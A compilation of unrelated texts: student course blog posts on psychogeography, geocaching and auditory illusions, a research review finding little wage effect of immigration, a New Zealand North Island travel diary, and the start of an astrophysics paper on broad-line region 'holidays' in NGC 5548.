Ironically it’s psychogeography that was a bit abstract and artificial to me throughout this course to be honest. I think part of it has to do with the fact that the way we engaged space in the course and the kind of space we engaged has really been difficult for me to relate to. I’ve never been to Paris. I’ve traveled little in my life. And I still don’t quite understand North American urban space. The map, meanwhile, puts a lot of this in perspective – where Kitchener/Waterloo and North American urban space in general for me are a map of melancholia, St. Petersburg is a kind of deep, sublimely interesting depression – in many ways a sublime city to the mind of someone raised within its cultural traditions.
Some rather chilling coincidences with my own personal mapping of the city – the location where I was born has the word “Child” across it. Vasilievsky Island, where I was born and lived most of my life, is both very prominently positioned and often referenced in words. But most interesting is perhaps the way death permeates a lot of the language on the map – much as it does the entire city’s mythology and history.
And in any case, a very neat map. It speaks to me as a long-time resident of that place and a reader of that literature.
Seeing as our caches are not likely to survive very long, we thought we should post our photographs of them. The pictures are taken from the angle you would need to get your head at to properly view the clues (some are easier to access than others).
If you want to try to find them, the website for the first location is http://www.tsilaerrus.com (that one will be a freebie).
One of the appropriated caches in our treasure-hunt cache project is this one. (You will need to be logged in to the GeoCache website to access the co-ordinates, but registration is quick, free and painless, and I don’t think I’ve ever gotten any spam from them).
There are nine such caches, each one leading to the next, and each one containing a URL that both contains more information about the repurposed space that particular cache is in, as well as tells you where the next one is. In addition, on that site, you’ll find a portion of the URL for the final, ultimate, SUPER-SECRET tenth cache. You need to visit all nine caches to get the whole URL for the final cache.
One last thing: when writing out the URL for the cache’s site in each of the booklets, I made an error: the beginning of each URL starts http://theocaching/ettinburg.com/****.html — but that’s impossible. It’s theocaching.ettinburg.com — with a dot, not a slash. Sorry about that. Just keep that in mind and you’ll be fine.
I came across these links much to my late-night delight yesterday, as they are both an entertaining reprieve from note-typing and engage what we were talking about during Laura’s presentation. Get your headphones ready.
Auditory illusions are just what they sound like: similar to optical illusions, they are simple techniques that play on tricks of cognition to produce hallucinatory effects.
This first link is sparing on the information, but has too startlingly effective examples: the virtual haircut and the matchbox.
While I wouldn’t go so far as to argue decree hearing as the primary sense for understanding spatiality yet, I feel like these illusions make a pretty good argument for it.
This second link “Five Great Auditory Illusions” has a few spatial ones (with a repeat of the popular virtual haircut) that pose some interesting questions. Consider the second one, “Phantom Words” – I have yet to do it as I don’t have the proper setup in my room, but apparently the repetition of words in projected into different spatial locations in the room allows your brain to create coherent meanings out of the random sea of words, with some suggestion that your own inclinations have an effect of producing meaning, your schema guiding the collection and assemblage of the randomized words. It might be interesting to pursue what role spatiality performs in constructing meaning out of sound.
There are also a couple music-oriented illusions there that while not wholly connected to spatial theory, are nonetheless terrifying and interesting to see hear easily your brain can be tricked. |
Politicians, the media, and the public express concern that immigrants depress wages by competing with native workers, but 30 years of empirical research provide little supporting evidence to this claim. Most studies for industrialized countries have found no effect on wages, on average, and only modest effects on wage differentials between more and less educated immigrant and native workers. Native workers’ wages have been insulated by differences in skills, adjustments in local demand and technology, production expansion, and specialization of native workers as immigration rises.
While the literature reports a range of wage effects of immigration, most estimates are small and, on average, essentially zero. Recent evidence shows that immigration is likely to boost firm productivity and the wages of native workers in the long run by stimulating firm growth and contributing a range of skills and ideas. More open immigration policies, which allow for balanced entry of immigrants of different education and skill levels, are likely to have no adverse effects on native workers’ wages and may pave the way for productivity growth.
The recent empirical literature emphasizes that to understand the impact of immigrant workers on wages, immigration and the response of firms and workers must be analyzed together. This literature focuses on how firms and local economies respond to immigrant inflows by expanding, investing, adjusting product specialization, adopting efficient technologies, and creating new businesses. A review of the literature finds little evidence of a wage-depressing effect of immigration because immigrants are absorbed into the receiving economy through a series of adjustments by firms and other workers. Once these adjustments are accounted for, the wages of native workers, even workers with skills similar to those of immigrants, do not change much in response to immigration.
Many people hold the belief that immigrants “take jobs” from the native labor force in industrial countries; that they crowd out job opportunities; and that they depress wages (see Figure 1 ). This fear is often manifested in stringent immigration restrictions, especially on immigrants with little education. Such measures are defended as necessary to protect native workers. But this view is rooted in a simplified, static model of labor demand and supply in which immigration increases the supply of some workers while everything else in the economy remains fixed.
An overview of the estimated wage impact of immigrants Many studies in recent decades have analyzed the effect of immigration on the wages of native workers, assessing the magnitude and direction of the impact. These studies have used both cross-sectional data and panel (cross-sectional plus longitudinal) evidence of immigration flows into regions, countries, occupation groups, and skill groups in countries that have received large inflows of immigrants, such as Canada, Germany, Spain, the UK, and the US. About a third of these studies used US data. The others used data mainly for Austria, Germany, Israel, and the UK, whilst a few used data for other European countries. Most of the studies used labor market statistics as a control. The more recent studies, which used mainly panel data analysis, included labor market and year fixed effects. Several studies, especially those based on regional variation, used econometric “instrumental variables” to separate the exogenous, supply-driven variation in immigrants from variations correlated with demand shocks, to identify the causal effect of a supply-driven change in immigrants on native wages. This paper summarizes that abundant literature, based on a review of 27 original studies published between 1982 and 2013. Most of the reviewed studies were published, and some have been quite influential. Together, the 27 studies produced more than 270 baseline estimates of the effects of an increase in the share of immigrants on the wages of natives in the same labor market. The message that emerges from these studies is illustrated in Figure 2, which shows the distribution of the average estimated wage effect for each of the 27 studies, ranging from –0.8 to +0.8, in bins of length equal to 0.1. The histogram would look very similar if it showed all the estimates from the 27 studies rather than an average for each study. Additionally, a meta-analysis of 18 studies conducted between 1982 and 2003 showed a very similar histogram, centered on 0 and populated mostly with very small estimates between –0.1 and +0.1 [1]. The values report the effects of a 1 percentage point increase in the share of immigrants in a labor market (whether a city, state, country, or a skill group within one of these areas) on the average wage of native workers in the same market. For example, an estimated effect of 0.1 means that a 1 percentage point increase in immigrants in a labor market raises the average wage paid to native workers in that labor market by 0.1 percentage point. These studies used a variety of reduced-form estimation and structural estimation methods; all the estimates were converted into the elasticity described here. While there are important qualifications to each method and a degree of imprecision in each study (some discussed below), one clear finding emerges: the largest concentration of estimated effects is clustered around zero. Furthermore, the effects are often economically very small and at least half are not statistically significant. While the full range of estimates is between –0.7 and +0.7, two-thirds of them (19 out of 27) are between –0.1 and 0.1, equally distributed over positive and negative values. The average estimated coefficient is 0.008. Applying the average value of the estimates to total immigration in the US between 1990 and 2010, a time when the share of foreign-born workers rose from 9% to 16%, would imply an impact of immigrants on the average wage of native workers of 0.056 of a percentage point (7% times 0.008), or an increase of roughly one-twentieth of a percentage point. These are extremely small changes, especially over a 20-year period, and do not support the notion that immigrants lower the wages of native workers. Two other general findings emerge from the literature. First, while some of the surveyed studies find a more significant negative effect on the wages of less educated native workers than native workers overall, most do not. The meta-analysis study does not identify any significant difference in estimated wage effects between less educated native workers and all native workers [1]. This is understandable. In many countries, immigrants are concentrated in the highly educated group or evenly distributed across skill groups, so there is no reason to believe that they will hurt the wages of less educated workers more than others. In several large immigrant-receiving economies (such as Canada, Sweden, and the UK), the college-educated group makes up the largest concentration of immigrants relative to native workers in the same group. Even in the US, where some of the estimated effects on the wages of less educated native workers are negative, this holds true only for the 1990s, a particularly low-skill-intensive time; during the period 2000–2010, net immigration was high-skill-intensive.
Second, the wage effects of recent immigrants are usually negative and slightly larger for earlier immigrants than for native workers. New immigrants may be stronger labor market competitors of earlier immigrants than of native workers.
Do native workers attenuate the wage effects of immigrant labor by moving? Researchers have sought to identify the mechanisms that allow immigrant-receiving economies to absorb immigrants without lowering the wages of their native workers. Since many studies have analyzed local labor markets (cities, regions, states), one proposed mechanism was the “skating-rink” model: as immigrants moved into a local economy, native workers with similar skills moved out, leaving total employment and the skill composition unchanged. In the canonical labor supply and demand model, this adjustment mechanism would weaken any detectable effect on native wages. Immigrants might still displace native workers by pushing them out of the market, but the wage effect would not be detectable in the local economy. Most studies find no empirical evidence that native workers move out in response to immigration [2]. With the exception of particularly rigid labor markets (discussed below), local economies, firms, and native workers do respond to immigration and eliminate potential adverse wage impacts, but not by moving out of the region or by becoming unemployed.
Examining the effects of immigrants on wages in national labor markets and by skill Due to the fact that analyses of local labor markets might miss wage effects that diffuse beyond the local market, several recent studies have analyzed the effects over time of immigrants in national labor markets segmented by skill (usually education-age groups). Changes in the supply of one skill in a national labor market, such as an inflow of college-educated immigrants, are assumed to affect the wages of workers in that skill group. Using data for the US over the period 1960–2000, one study estimated a negative effect of –0.76 of an increased share of immigrants in one skill group on the wages of native workers in the same skill group [3]. This is the largest negative estimated effect of immigrants on native wages in any of the reviewed studies (it is the negative outlier at the left edge of the histogram in Figure 1, with a value of –0.76). What explains such a large, negative estimate, and how can it be reconciled with the much smaller and sometimes positive effects found in most of the literature? Partial versus total effects: Skill complementarities and firm investments The more recent literature using national data by skill group has emphasized the importance of three mechanisms for correctly estimating the effects of immigration on wages. Specifically these are: immigration has cross-skill effects (complementarity) that must be considered;
firms respond to the increased supply of immigrant workers by adjusting capital; and
immigration has potentially important overall productivity effects. Taking these adjustment mechanisms into account would therefore attenuate the negative effects estimated in the US study [3]. The first effect can be explained by the fact that different jobs are connected within a firm’s production process. Having more immigrants in one skill group (for example, engineers) allows firms to expand job opportunities (complementarities) for workers in other skill groups (for example, sales representatives and janitors). Accounting for these cross-skill effects substantially reduces the negative wage impact of immigrants, while failing to account for them isolates a partial effect of immigration without considering the total effect. The second effect is related to the first. An increase in available workers means that existing firms can grow, investing in new plant and equipment, and that new firms may start up. Unless the immigrant influx is sudden and unexpected, this mechanism operates continuously and allows the local economy to expand and absorb additional immigrant labor without lowering wages. Incorporating these two effects into the analysis requires some assumptions to be made about the extent of cross-skill complementarity and about how fast firms adjust investment. Recent studies that apply this model to the US and the UK, using a reasonable set of assumptions, find very small effects on the wages of native workers, including the less educated ones [4]. The estimates concerning the increase in US immigrants between 1990 and 2006 imply a negative effect of less than 1 percentage point for the wages of native workers with no diploma in response to a small positive effect for native workers with a high school education, and ultimately a zero effect for native workers with a college education. Productivity effects A third effect overlooked in the earlier analyses of national labor markets by skill group is the effect of immigration on productivity. In the long run, immigrants can increase the overall efficiency of the economy by bringing new skills, stimulating efficient specialization, and encouraging firm creation. In the long run this can have an important effect on wages, because productivity drives all wage growth. There is evidence of this positive effect in recent analyses at the city [4], [5], state [6], region [7], [8], and national levels. This effect has, however, been hard to identify and is often neglected. In particular, studies based on the canonical model of the labor market and the national skill-group approach ignore the possibility of an overall productivity effect and focus only on the narrow competition or complementarity effects within and between skill groups. Some studies do not explicitly consider this potential effect but simply absorb it into a fixed term [3], [9].
Moving beyond the canonical model of the labor market: Alternative mechanisms offsetting wage effects Understanding how immigrants create positive productivity effects requires moving beyond the canonical model of labor supply and demand. That model assumes that immigration is simply a shift of the labor supply for a given labor demand and given labor supply of native workers. It also assumes that native and immigrant workers of similar skills perform identical tasks, that firms do not respond to immigration (at least in the short term), and that native workers do not change occupations or specializations. More likely, as evidenced by several recent studies, immigrants bring different skills and perform different tasks than native workers [2], [4], [6]. Native workers also respond to immigration by specializing in more communication and cognitive-intensive production tasks, which complement the tasks performed by immigrants. This is important because skill diversity among workers facing a wide array of differentiated tasks increases specialization and efficiency. Skill diversity may also spur innovation and productivity growth. Firms may also expand in response to an increase in immigrant workers and create new complementary jobs filled largely by native workers. If any of these mechanisms lead to an increase in overall productivity, a canonical model applied at the national level would be unlikely to capture these effects of immigration [3], [9]. Most studies that explicitly consider these possibilities find positive, sometimes large, productivity effects of increased numbers of immigrant workers. When the impact of these mechanisms on wages is also accounted for, it seems clear that these mechanisms could offset competition effects, producing the overall nil or positive effects observed in the 27 broad studies of immigration and native wages. Recently, scholars have explored other adjustment mechanisms not included in the canonical model that might offset the negative competition effects of an increase in immigrant workers. One is the choice of appropriate firm technology. When the supply of certain skills rises in the local labor market, firms tend to choose technologies that use those skills efficiently. For example, an immigration-induced increase in the supply of less educated manual workers in some US cities has pushed firms to adopt more manual-intensive technologies in place of more mechanized technologies. This has resulted in keeping the productivity and wages of that skill group relatively high. Similarly, the larger number of foreign scientists and engineers in some US cities encouraged firms to adopt technologies that increased the productivity of native workers with these specialties. Another mechanism protecting wages and boosting the productivity of native workers is the occupational upgrading that occurs when the share of immigrant workers rises. When immigrants fill lower-skill, manual-intensive positions, native workers move into more complex, cognitive- and communication-intensive jobs [2], [10]. Similarly, when highly educated immigrants enter the labor market and take analytically intensive positions in science and technology, highly educated native workers move into managerial occupations. Finally, a large share of immigrants with specific skills are absorbed by new firms that spring up to take advantage of the availability and skills of new immigrants (for a more comprehensive overview see Why immigrants may not depress natives' wages). |
North Island, New Zealand
10 years after abandoning our RTW trip, we finally arrived back in New Zealand – a trip which we have been counting down to probably since 2006. We decided to start our New Zealand road trip in the North Island, flying in to Auckland before driving down to Wellington where we would get a ferry to the South Island to continue on.
Drury, Auckland
(23rd November 2016)
Flying over with Emirates, we touched down in Auckland just before 5pm and in time for rush hour. Although we first considered hiring camper van, we decided against it. The hire costs were pretty extortionate, and I read a horror story about bed bugs which completely put me off. So instead we picked up our hire car, which we affectionately called Greenie. Fortunately our lovely airbnb accommodation was just a half hour drive from the airport and was on the outskirts of town in a little village called Drury.
Taking the suggestion from our airbnb host, we walked around the corner to the local village pub for dinner. We arrived to find most of the tables reserved, but found a small one in the corner. It was quiz night in the pub and it seems we were lucky to find the last table.
The quiz actually looked quite good. There were proper booklets for the answers – no scrappy paper like the pub quizzes I used to go to in England. I was sad that we didn’t really have enough people (or brain cells) to form our own team. although we decided to keep a note of the answers to see where we might come.
We never got round to this though, as the first round of the quiz was ‘British Food’. I asked if the table behind us wanted to be our friends in exchange for answers. They did, and we helped them get 9/10 on the first round to put them in the lead. After this, we were unofficial members for the duration of the quiz. By the end of the evening, they had won second place and a bar tab for another evening. Sadly we never got to join them for a winning pint, as we had our New Zealand road trip to get on with.
Rotorua
(24th November 2016)
After our first good sleep in 5 days, we set off on our brief tour of the North Island of New Zealand. Our first destination was Rotorua. An old work colleague of mine, Vic, moved out to New Zealand a few years prior so I was looking forward to a catch up.
We arrived in Rotorua in time for lunch, which was good. Darren and I were both getting a bit narkey. After picking up some picnic snacks in the local supermarket we sat by the beautiful Lake Rotorua. Hunger anger was quickly subdued and we set about to look for a plan to spend the afternoon until Vic finished work. Darren already knew that Rotorua was famous for its hot Springs. I didn’t. But soon realised why.
Kuirau Park
Almost as soon as we set off from Lake Rotorua, I spotted steam. We pulled over and found ourselves exploring Kuirau Park, a free public park with lots of boiling thermal pools.
It was a good way to pass an hour, but we still had a couple to go before Vic would be finishing work, so we set off to explore the wider Rotorua area.
Ngahewa Wetland
Just a short drive, we came across the beautiful Lake Ngahewa. We only had time to stop for a short time, but I actually preferred it to where we had stopped on Lake Rotorua.
Wai-O-Tapu Hot Pool (Free at The Bridge)
Darren wanted to swim in the hot springs, and google indicated that we were fairly close to Wai-O-Tapu. When we arrived we found a steep entry price and imminent closing time, so re visited google and found that there was a free hot pool down the road. We found a stream of hot water from The Wai-O-Tapu geothermal pools which met the cold river. As Darren popped his whole body in, I dipped my feet in. We found the exact spot where the two water streams met. It was a bit of an odd experience.
Our final stop before heading back to visit Vic were the thermal mud pools.
We also stopped to take this photo of the beautiful hills. With views similar to these, it’s easy to see why Vic moved to Rotorua and didn’t stay in Southampton…..
We met Vic in Eat Streat – a trendy strip of bars and restaurants in Rotorua. We caught up with a meal for the night market and a wander around the Government Gardens before we were treated to a comfy bed for the night.
Rotorua to Wellington
(25th November 2016)
After a lovely evening with Vic & Kev, we set off at just after 7am to catch up with more of my pharmacy buddies, Rosie & Claudine. It took us over 10 hours to travel the rest of the North Island to reach Wellington. In fact, it’s amazing we covered so much of the North Island in one day. We stopped numerous times during such a pretty drive.
Darren dubbed the North Island “Telly Tubby land’ due to the numerous bright green hills. As we passed them, we came across the following attractions.
Huka Fall, Taupo
Huka Falls is the most visited natural attraction in New Zealand, although our visit came about quite by accident. We spotted a sign for Huka Falls an hour after leaving Rotorua so decided to stop. It’s no surprise its such a popular attraction, the falls were incredible. We were really lucky and actually got to experience the falls by ourselves due to our early impromptu visit.
Tongariro Natural Park
My friend Kaylie (who we later met in Queenstown) was travelling New Zealand at the same time as us. She put some photographs of her visit to Tongaririo Natural Park up on Facebook. It looked incredible, and she suggested we visit if we were passing.
Sadly for us, the walk they had taken to the Emerald Lake took over 8 hours. We just didn’t have time to fit it in. We also didn’t have the array of clothing that is required for the walk. But our journey did see us drive through the out natural park. For the reasonably short part of the journey, the weather changed so much! One moment, there were bright blue skies, the next it was grey and overcast. In some areas the wind was so strong, there were sandstorm blowing as us. We had to get back into the car after we had stopped for a walk. Soon, however, the sun was back out and shiny.
Darren likened it to being on the moon. Not of course that we have any idea what it is like to be on the moon. But in our heads, this is what the moon is like!
Waitarere Beach
By 3pm we were shattered. We found ourselves on Waitarere Beach and after finding we could drive along it we stopped the car on the sand. Turning off the engine, we tilted the seats back as far as they would go and set an alarm. Within moments we were both sound asleep. And moments before the alarm went off we both awoke, ready to crack on to Wellington.
As we neared Wellington we hit a small bit of rush hour traffic, but nothing that brought us to a stop. We reached Rosie’s just after 5:30. Claudine joined us a short while later. This super excited happy snap was taken just after that, over two years after we had last been together.
We spent the evening enjoying fish and chips, wine and beer and a lot of laughs.
Te Papa Tongarewa Museum, Wellington
(26th November 2016)
After a good catch up, Saturday morning was a lazy start. After picking Claudine up, we set off for New Zealand National Museum, Te Papa Tongarewa. We’d had a couple of recommendations to visit this free museum so i Our lazy start continued by stopping for coffee and lunch before we saw even one exhibition.
‘Gallipoli: The Scale of Our War’
After a leisurely lunch in the Te Papu museum cafe, we got into the queue for the Gallipoli exhibition. Rosie & Claudine had both already seen the ‘Gallipoli: The Scale of Our War’ exhibition and raved about it. They were right. It has to be the most incredible exhibition I have ever seen.
At the heart of the exhibition phenomenal oversized statues of real people who fought in WW1 at Gallipoli told the story of how the Anzac troops were overwhelmed by the Turkish and German troops. The Exhibition made the hairs on my arms stand on end. They matched the hairs which stood on end of each of the models at the exhibition. It was amazing how much detail these contained, right down to tears!
You can read more about the amazing Gallipoli exhibition on the Te Papu website.
We also explored some of the other areas of the museum, including an earthquake simulator, before Rosie took us on a drive around Wellington. After more coffee, we went home for a nice home cooked meal (such a treat when travelling!) which was washed down with more wine!
Wellington
(27th November 2016)
Mount Victoria
Our final day in the North Island saw us visiting Mount Victoria. True to its reputation, Wellington was windy, and as we made our way to the viewpoint at the top of Mount Victoria we were almost blown away. The views across Wellington were wonderful, though.
Wellington Cable Car
After lunch, we took a trip in the Wellington Cable Car. Yet again we were afforded with incredible views over the city. It was a lovely end to our first visit to the North Island and the first part of our New Zealand Road Trip.
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abstract: 'The 180-day Space Telescope and Optical Reverberation Mapping campaign on NGC 5548 discovered an anomalous period, the broad-line region (BLR) holiday, in which the emission lines decorrelated from the continuum variations. This is important since the correlation between the continuum-flux variations and the emission-line response is the basic assumption for black hole (BH) mass determinations through reverberation mapping. During the BLR holiday the high-ionization intrinsic absorption lines also decorrelated from the continuum as a result of variable covering factor of the line of sight (LOS) obscurer. The emission lines are not confined to the LOS, so this does not explain the BLR holiday. If the LOS obscurer is a disk wind, its streamlines must extend down to the plane of the disk and the base of the wind would lie between the BH and the BLR, forming an equatorial obscurer. This obscurer can be transparent to ionizing radiation, or can be translucent, blocking only parts of the SED, depending on its density. An emission-line holiday is produced if the wind density increases only slightly above its transparent state. Both obscurers are parts of the same wind, so they can have associated behavior in a way that explains both holidays. A very dense wind would block nearly all ionizing radiation, producing a Seyfert 2 and possibly providing a contributor to the changing-look AGN phenomenon. Disk winds are very common and we propose that the equatorial obscurers are too, but mostly in a transparent state.'
author:
- 'M. Dehghanian'
- 'G. J. Ferland'
- 'B. M. Peterson'
- 'G. A. Kriss'
- 'K. T. Korista'
- 'M. Chatzikos'
- 'F. Guzmán'
- 'N. Arav'
- 'G. De Rosa'
- 'M. R. Goad'
- 'M. Mehdipour'
- 'P. A. M. van Hoof'
title: 'A wind-based unification model for NGC 5548: spectral holidays, non-disk emission, and implications for changing-look quasars'
---
2
INTRODUCTION
=============
AGN STORM, the AGN Space Telescope and Optical Reverberation Mapping project, is the largest spectroscopic reverberation mapping (RM) campaign to date. NGC 5548 1[was observed ]{}with [[*HST*]{}]{}/*COS* 1[nearly]{}daily over six months in 2014 [@DeRosa15; @Edelson15; @Fausnaugh16; @Goad16; @Pei17; @Starkey17; @Mathur17], with the goal of determining the kinematics and geometry of the central regions using RM methods. [@Goad16], hereafter G16, revealed some unexpected results: about 60 days into the observing campaign, the FUV continuum and broad emission line variations, which are typically highly correlated and form the basis of RM, became “decorrelated” for $\sim$ 60-70 days, after which time the emission lines returned to their normal behavior. During this time, the equivalent widths (EWs) of the emission lines dropped by at most 25-30%. This anomalous behavior, hereafter the “emission-line holiday”, was investigated by G16, [@Pei17; @Mathur17; @sun18] among others, although no physical model 1[to explain it]{} has been proposed. The occurrence of the emission-line holiday shows that we are missing an important part of the physics of the inner regions of AGN.
As discussed by [@Kriss19] and @Deh19 [hereafter D19] the same holiday happened approximately simultaneously (within measurement uncertainties) for the high-ionization narrow intrinsic absorption lines. D19 shows that changes in the covering factor (CF) of the line of sight (LOS) obscurer [@Kaastra14] explains the absorption-line holiday. The SED emitted by the source passes through this obscurer and then ionizes the absorbing clouds. Depending on the LOS CF of the obscurer, the transmitted SED changes in a way that reproduces the decorrelated behavior in some absorption lines. The LOS CF deduced from [[*Swift*]{}]{} observations confirms this 1[hypothesis]{} (D19).
Here, we examine the physics by which a related emission-line holiday could occur. We take the obscurer to be a wind launched from the accretion disk, with variable mass-loss rate and hydrogen density. Figure 1 shows a cartoon with one possible geometry. We show that for low hydrogen densities the obscurer near the disk is almost transparent and so has no effect on the SED striking the BLR. However, for higher densities it can obscure much of the ionizing radiation, producing the emission-line holiday. In this case, the observed UV continuum is not a good proxy for the ionizing flux. Finally, for even higher gas densities, little ionizing radiation strikes the BLR. In this case, broad-line emission is strongly suppressed, resulting in something like a changing-look AGN. We suggest that an equatorial obscurer associated with a disk wind produces the BLR holiday, and may in more extreme circumstances contribute to causing a changing-look AGN.
In Section 2, we set up a simple model of the BLR with no obscurer. Section 3 investigates how changes in the equatorial obscurer’s hydrogen density change the transmitted SED. We then show, in Section 4, that the BLR responds to this variable equatorial obscurer in agreement with observations. Small changes in the obscurer’s density reproduce the emission-line holiday and account for the amplitude of the variability in various lines. 2[If the covering fraction of the LOS obscurer also increases as the equatorial obscurer becomes more substantial, a simultaneous absorption-line holiday will be produced.]{}
A baseline BLR with changing luminosity
========================================
Figure \[f1\] shows the geometry of the central regions, including the obscurer, based on [@Kaastra14] figure 4. We note that the [@Kaastra14] figure only highlights the portion of the disk wind that forms the obscurer along our LOS. The critical differences in our illustration in Figure \[f1\] are (1) we show the disk wind as an axisymmetric structure, (2) we show the full wind, with streamlines tracing from the surface of the disk to the gas lying along our LOS, and (3) we locate the obscurer interior to the BLR. The LOS obscurer is the upper part of the wind, and we refer to the lower part as the “equatorial obscurer”.
Although 2[some of]{} the properties of the LOS obscurer are known 2[(such as its column density and x-ray absorption)]{}, there is no way to 1[determine]{} the properties of the obscurer near the disk. The density at the base is likely to be higher than at higher altitudes and the column density through the base of the wind toward the BLR is higher than along the LOS, and 2[therefore the wind is]{} potentially opaque. Although our LOS samples only a specific sight line through the wind, 2[we assume]{} the structure along all other sight lines is comparable and therefore can affect the whole of the BLR. The obscurer has persisted over at least four years [@Mehd16]. If it is located interior to the BLR at $<0.5$ light days, where the orbital timescale is only 40 days, this longevity implies that the wind extends a full 360-degrees around the black hole. It thus forms an axisymmetric, cylindrical continuous flow around the BH and so always fully shields the BLR. For this reason, it is not likely that a changing CF of the equatorial obscurer could explain the broad emission-line holiday as well.
![Diagram of the disk wind in NGC 5548 (not to scale). The BH is surrounded by the accretion disk. At larger radii the BLR is indicated by orange/red turbulent clouds. The disk wind rises nearly vertically from the surface of the accretion disk, where it has a dense, high-column-density base. At higher elevations, radiation pressure accelerates the wind and bends the streamlines down along the 30 degree inclination of the observer’s LOS 2 [to the rotation axis of the disk [@Kaastra14]]{}.[]{data-label="f1"}](Fig1.pdf){width="3"}
Here we develop a baseline model for the BLR to investigate how its emission lines are affected by the variations of the SED striking it. At this stage, we avoid including the equatorial obscurer in our modeling, so changes in the emission-line spectrum are caused by the variations of the luminosity of the source. For simplicity, we do not model a full LOC[^1] similar to figure 2 of [@Korista00]. Our baseline model is sufficient for the goal of this paper, which is to test how changes in the equatorial obscurer change the observed EW of the broad emission lines. We use the development version of Cloudy (C17), last described by [@Ferland17], for all the photoionization models presented here.
To model the BLR, we fix its hydrogen column density to be $N$(H)=10$^{23}$ cm$^{-2}$, choose a hydrogen density of $n$(H)=10$^{11}$ cm$^{-3}$, and use solar abundances [@Ferland17]. These are all typical values for the BLR [following @Ferland92; @Goad98; @Kaspi99]. The remaining parameter is the flux of hydrogen ionizing photons $\phi$(H) (ionizing photons cm$^{-2}$ s$^{-1}$) striking the cloud. For a given SED shape [we use that of @Mehd15 as discussed by D19] and location of the BLR, this flux depends on the luminosity, so changes in the flux simulate changes in the luminosity. 2[We assume thermal line broadening evaluated for the gas kinetic temperature and atomic weight of each species.]{}
1[ The line EWs were observed to decrease as the luminosity increased before the holiday. Figure \[f2\] shows our predicted EWs. The observations report a slope $\beta$ that fits EW $\propto$ $L^{\beta}$. G16 find $\beta$ in the range -0.48 to -0.75 for Ly$\alpha$, Si IV+O IV\], , and He II+O III\], while [@Pei17] find $\beta= -0.85$ for H$\beta$. This range of $\beta$ values is shown as the bow tie in the lower left corner. Each of these lines has its own reverberation timescale, formation radius, and value of $\phi$(H). Future work will examine using EW and $\beta$ to better constrain LOC models. ]{}
{width="\textwidth"}
As Figure \[f2\] shows, variations of the luminosity can dramatically affect the BLR. For $\phi$(H)$>10^{20}$ cm$^{-2}$ s$^{-1}$ the EW, shown in green, behaves as in G16’s figure 1b. Changes in the EW of and H$\beta$ are consistent with G16 and [@Pei17].
In the next Section, we consider the effects of the equatorial obscurer on the BLR. To do this, we only change the parameters of the obscurer, while we freeze all BLR parameters, including the unobscured flux, which we take to be $\phi($H$)=10^{20}$ cm$^{-2}$ s$^{-1}$. Our goal is only to demonstrate a scenario that produces emission-line holidays, so we are not trying to fine tune the parameters.
The SED transmitted through the equatorial obscurer
===================================================
As Figure \[f1\] shows, we assume that the obscurer is a wind extending from the equator to at least our LOS. This means that the BLR is ionized by the SED transmitted through the lowest part of the wind, the equatorial obscurer. Here we investigate how the SED transmitted through the equatorial obscurer changes as the wind parameters change.
There are no observational constraints on the equatorial obscurer, but it seems likely that it is denser, perhaps with a larger column density, than 2[the more distant LOS obscurer.]{}. For simplicity, we hold its column density fixed at $N$(H)$=10^{23}$ cm$^{-2}$ and assume solar abundances. Since the broad UV absorption associated with the LOS obscurer partially covers the BLR and has velocities ($\sim 1500~\rm km~s^{-1}$) typical of the BLR [@Kaastra14], we assume that the LOS obscurer is near or coincident with the outer portion of the BLR. The equatorial obscurer must be closer to the black hole since it is launched from the disk. We choose $\phi($H$)=10^{20.3}$ cm$^{-2}$ s$^{-1}$, twice that of the BLR, placing the obscurer at $r_{obscurer}=0.7\times r_{BLR}$. We do not know the exact location of the equatorial obscurer and these values are chosen based 1[only]{} on the fact that it must be inside the BLR.
1[As in D19, we are trying to identify the phenomenology that makes the observed changes possible and not to model any particular observation (section 3.3 of that paper). We wish to see how the changes in the optical depth of the intervening wind affects emission from the BLR. These changes could be caused by variations in the physical thickness of the wind, its density, the AGN luminosity, or the distance from the black hole. For simplicity we vary only one of these, the density, while keeping the others fixed. As discussed in following sections, this change, while simple, does serve to illustrate the types of SEDs that will filter through the wind. ]{}
Changes in the mass-loss rate of the wind can cause changes in the hydrogen density of the equatorial obscurer. We examine the effects of such variations upon the transmitted SED in Figure \[f3\], which shows three typical SEDs. As the Figure shows, the shape of the SED is highly sensitive to the value of the hydrogen density.
{width="\textwidth"}
The density and flux parameters chosen here do not matter in detail. The transmitted SED actually depends on the ionization parameter, which is the ratio of the ionizing flux to the hydrogen density [@Osterbrock06]. Increasing the hydrogen density lowers the ionization parameter inversely. Particular values 2[of the density and flux]{} do not matter as long as the ratio giving the ionization parameter is kept constant.
As the ionization parameter increases the level of ionization of the gas increases. The gas opacity decreases as the number of bound electrons decreases. The ionization structure changes in ways that produce the three characteristic SEDs shown in Figure \[f3\]. These are the three cases:
- Case1 has the lowest density and the highest ionization, and is shown in black. This 1[wind]{} is fully ionized, has no H or He ionization fronts, and nearly fully transmits the entire incident SED.
- Case 2 has an intermediate density and is shown in blue. This has a He$^{2+}$ - He$^{+}$ ionization-front but no H ionization-front. The incident SED is heavily absorbed for the 1[XUV energies[^2] ]{}, although most of the hydrogen-ionizing radiation is transmitted.
- • Finally, Case 3 is shown with the red line and has the highest density. The 1[wind]{} has both H and He ionization-fronts, and much of the light 1[in the EUV and XUV regions]{} is absorbed.
The response of the BLR to changes of the transmitted continuum
===============================================================
We now show how the EWs of the BLR lines in Figure \[f2\] are affected by changes in the transmitted SED of the equatorial obscurer. Figure \[f4\] shows how the EW of the strongest observed lines react as the density, $n$(H), of the equatorial obscurer varies. These 2[changes]{} are due to variations in the SED filtering through the equatorial obscurer. The three general types of SED shown in Figure \[f3\] produce the three different BLR regimes shown in Figure \[f4\]. We examine each of these three cases in more detail:
{width="\textwidth"}
- Case 1: In this low density regime (approximately $n($H$) <6\times 10^{9}$ cm$^{-3}$), the equatorial obscurer is transparent and has little effect on the SED or BLR. This may be the usual geometry in most AGN and results in a standard response of lines to the changes in the continuum luminosity. For low densities, the intervening wind has little effect on the optical/UV BLR, however, it does emit in other spectral ranges. This emission will be the subject of our future work. Changes in the EWs of the BLR emission lines follow the variations of the continuum luminosity.
- Case 2: 2[In this case]{} the obscurer has a higher density ($6\times 10^{9}$ cm$^{-3}$ to $4\times 10^{10}$ cm$^{-3}$). As Figure \[f4\] shows, for this range of hydrogen density, the BLR EW decreases independently of the AGN luminosity and the holiday occurs. Large changes in EW at $n$(H) = $6\times 10^{9}$ cm$^{-3}$ are due to the He$^{2+}$ -He$^{+}$ ionization front reaching the outer edge of the 1wind. Much of the SED 1[in the XUV region]{} is absorbed.
